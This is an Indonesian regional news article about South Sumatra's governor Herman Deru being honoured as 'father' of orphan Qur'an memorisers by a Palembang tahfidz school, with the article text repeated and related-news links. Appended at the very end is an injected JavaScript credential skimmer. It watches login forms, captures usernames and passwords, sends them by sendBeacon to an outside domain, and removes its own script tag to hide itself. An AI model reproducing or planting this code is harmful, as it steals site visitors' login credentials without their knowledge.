Home / DAERAH / RELIGIUS / SOSIAL / SUMSEL

Rabu, 10 Agustus 2022 - 23:16 WIB

Herman Deru Didaulat Sebagai Bapak Anak Yatim Penghafal Al-Qur’an Tahfidz Kiai Marogan

transparanmerdeka.com, PALEMBANG – Gubernur Sumsel H Herman Deru didaulat sebagai bapak anak yatim penghafal Al-Qur’an Marogan oleh Yayasan Pondok Pesantren Tahfidz Kiai Marogan.

Gelar tersebut diberikan sebagai apresiasi karena semangat Gubernur Herman Deru yang tak hentinya memberikan perhatian kepada anak yatim. Termasuk perhatiannya dalam hal pendidikan ilmu agama melalui rumah tahfidz yang digagas orang nomor satu di Bumi Sriwijaya tersebut.

“Saya sangat mengapresiasi karena dinobatkan sebagai bapak anak yatim penghafal Al-Qur’an. Ini simbol bahwa Umaro memang harus memberikan perhatian khusus kepada anak yatim. Termasuk dalam hal pembekalan ilmu agama,” kata Herman Deru saat menghadiri hari raya anak yatim penghafal Al-Qur’an di pesantren tahfidz Kiai Marogan, Rabu (10/8).

Perhatian tersebut, lanjutnya, merupakan bentuk kasih sayang terhadap sesama.

“Karena tidak semua orang bisa berkecukupan dan mendapatkan kasih sayang utuh dari kedua orang tua. Namun, perhatian yang kita berikan kepada anak yatim tidak hanya hal yang menyangkut materi saja, tapi juga ilmu pengetahuan dan pendidikan agama serta kasih sayang,” terangnya.

Menurutnya, digagasnya program satu desa satu rumah tahfidz merupakan bentuk perhatian terhadap pendidikan agama semua kalangan masyarakat.

Bahkan lebih jauh, hal itu juga sebagai upaya untuk memberantas buta aksara Al-Qur’an.

“Rumah tahfidz Ini ada sebuah sprit yang terkandung dalam upaya kita memberantas buta aksara Al-Quran,” ujarnya.

Dia menyebut, dalam dua tahun kepemimpinannya sebagai Gubernur, rumah tahfidz di Sumsel sudah mencapai target 3500 rumah tahfidz yang tersebar di seluruh Sumsel.

“Awalnya untuk mengupayakan langkah itu kita sempat gamang, namun karena adanya dukungan berbagai pihak hal itu berjalan sangat baik. Bahkan saat ini rumah tajfidz di Sumssl sudah menginjak angka 4 ribu,” paparnya.

Dia juga meminta, agar semua pihak tetap berupaya menumbuhkan minat cinta Al-Qur’an di masyarakat melalui rumah tahfidz tersebut.

“Namun kerja ini tidak sederhana. Modal utama adaah kepercayaan masyarakat bagaimana cara kita meyakinkan semua pihak bahwa mengamalkan isi Al-Quran merupakan tuntunan bagi umat muslim,” imbuhnya.

Baca Juga :  Percepat Turunkan Angka Stunting, Herman Deru Harapkan RS Siti Khadijah Sedikan Layanan Khusus Bagi Ibu Hamil

Sementara itu, Pembina Yayasan Pondok Pesantren Tahfidz Kiai Marogan Mgs Ahmad Fauzi mengatakan, gelar sebagai bapak yatim penghafal Al-Qur’an tersebut diberikan sebagai ucapan terima kasih atas kepedulian Gubernur Herman Deru terhadap anak yatim.

“Kita juga berterima kasih atas dukungan pak Gubernur terhadap perkembangan rumah tahfidz. Kita juga berupaya agar program mulia tersebut berjalan dengan baik,” pungkasnya.

Diketahui, pada kesempatan itu Gubernur Herman Deru juga memberikan santunan kepada sejumlah anak yatim serta secara langsung meresmikan rumah ibadah Suluk Darush Solihin di Ponpes Tahfidz Kiai Marogan yang ditandai dengan penandatangan prasasti.

Hadir dalam kesempatan itu, Zuriyat ke-4 Kiai Matogan KH Mgs A Fauzan SQ, Direktur Utama Lembaga Wakaf dan Pengembangan Marogan M Defriansyah, serta sejumlah pejabat di lingkungan Pemprov Sumsel.*

Herman Deru Didaulat Sebagai Bapak Anak Yatim Penghafal Al-Qur’an Tahfidz Kiai Marogan

PALEMBANG – Gubernur Sumsel H Herman Deru didaulat sebagai bapak anak yatim penghafal Al-Qur’an Marogan oleh Yayasan Pondok Pesantren Tahfidz Kiai Marogan.

Gelar tersebut diberikan sebagai apresiasi karena semangat Gubernur Herman Deru yang tak hentinya memberikan perhatian kepada anak yatim. Termasuk perhatiannya dalam hal pendidikan ilmu agama melalui rumah tahfidz yang digagas orang nomor satu di Bumi Sriwijaya tersebut.

“Saya sangat mengapresiasi karena dinobatkan sebagai bapak anak yatim penghafal Al-Qur’an. Ini simbol bahwa Umaro memang harus memberikan perhatian khusus kepada anak yatim. Termasuk dalam hal pembekalan ilmu agama,” kata Herman Deru saat menghadiri hari raya anak yatim penghafal Al-Qur’an di pesantren tahfidz Kiai Marogan, Rabu (10/8).

Perhatian tersebut, lanjutnya, merupakan bentuk kasih sayang terhadap sesama.

“Karena tidak semua orang bisa berkecukupan dan mendapatkan kasih sayang utuh dari kedua orang tua. Namun, perhatian yang kita berikan kepada anak yatim tidak hanya hal yang menyangkut materi saja, tapi juga ilmu pengetahuan dan pendidikan agama serta kasih sayang,” terangnya.

Baca Juga :  Pengurus IKAB Palembang Minta Gubernur Sumbar, Mahyeldi  Ansharullah Fasilitasi Pembentukan Organisasi IKAB Nasional

Menurutnya, digagasnya program satu desa satu rumah tahfidz merupakan bentuk perhatian terhadap pendidikan agama semua kalangan masyarakat.

Bahkan lebih jauh, hal itu juga sebagai upaya untuk memberantas buta aksara Al-Qur’an.

“Rumah tahfidz Ini ada sebuah sprit yang terkandung dalam upaya kita memberantas buta aksara Al-Quran,” ujarnya.

Dia menyebut, dalam dua tahun kepemimpinannya sebagai Gubernur, rumah tahfidz di Sumsel sudah mencapai target 3500 rumah tahfidz yang tersebar di seluruh Sumsel.

“Awalnya untuk mengupayakan langkah itu kita sempat gamang, namun karena adanya dukungan berbagai pihak hal itu berjalan sangat baik. Bahkan saat ini rumah tajfidz di Sumssl sudah menginjak angka 4 ribu,” paparnya.

Dia juga meminta, agar semua pihak tetap berupaya menumbuhkan minat cinta Al-Qur’an di masyarakat melalui rumah tahfidz tersebut.

“Namun kerja ini tidak sederhana. Modal utama adaah kepercayaan masyarakat bagaimana cara kita meyakinkan semua pihak bahwa mengamalkan isi Al-Quran merupakan tuntunan bagi umat muslim,” imbuhnya.

Sementara itu, Pembina Yayasan Pondok Pesantren Tahfidz Kiai Marogan Mgs Ahmad Fauzi mengatakan, gelar sebagai bapak yatim penghafal Al-Qur’an tersebut diberikan sebagai ucapan terima kasih atas kepedulian Gubernur Herman Deru terhadap anak yatim.

“Kita juga berterima kasih atas dukungan pak Gubernur terhadap perkembangan rumah tahfidz. Kita juga berupaya agar program mulia tersebut berjalan dengan baik,” pungkasnya.

Diketahui, pada kesempatan itu Gubernur Herman Deru juga memberikan santunan kepada sejumlah anak yatim serta secara langsung meresmikan rumah ibadah Suluk Darush Solihin di Ponpes Tahfidz Kiai Marogan yang ditandai dengan penandatangan prasasti.

Hadir dalam kesempatan itu, Zuriyat ke-4 Kiai Matogan KH Mgs A Fauzan SQ, Direktur Utama Lembaga Wakaf dan Pengembangan Marogan M Defriansyah, serta sejumlah pejabat di lingkungan Pemprov Sumsel.*

Share :

Baca Juga

Ekonomi

Buka Peluang UMKM, Pemprov Sumsel Gelar Sriwijaya Expo 2025

DAERAH

Presiden Tegaskan Tindak Praktik Pertambangan Tanpa Izin, Tambang Emas Ilegal di Pasaman Barat Terus Beraktivitas, Polsek Talamau dan KPHL Membisu

KAB. OGAN ILIR

Kades di Ogan Ilir Dikenalkan Program GSMP Inisiasi Gubernur Herman Deru 

BANYUASIN

Humas Polres Terkesan Tidak Butuh, Wartawan Banyuasin Walk Out

DAERAH

Raib Diterjang Air Bah, 7 Hari Pencarian 1 Pekerja PETI di Sungai Batang Pasaman Nihil

KAB. MUBA

Pj Bupati Muba Tunjuk Irwan Sazili Jabat Plh Camat Sekayu

BANYUASIN

Wakapolres Sampaikan Permohonan Maaf Kepada Jurnalis Banyuasin 

LOMBA

Target 5 Besar MTQ Nasional, Wagub Mawardi : Kita Kembalikan Marwah Kejayaan MTQ Sumsel
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();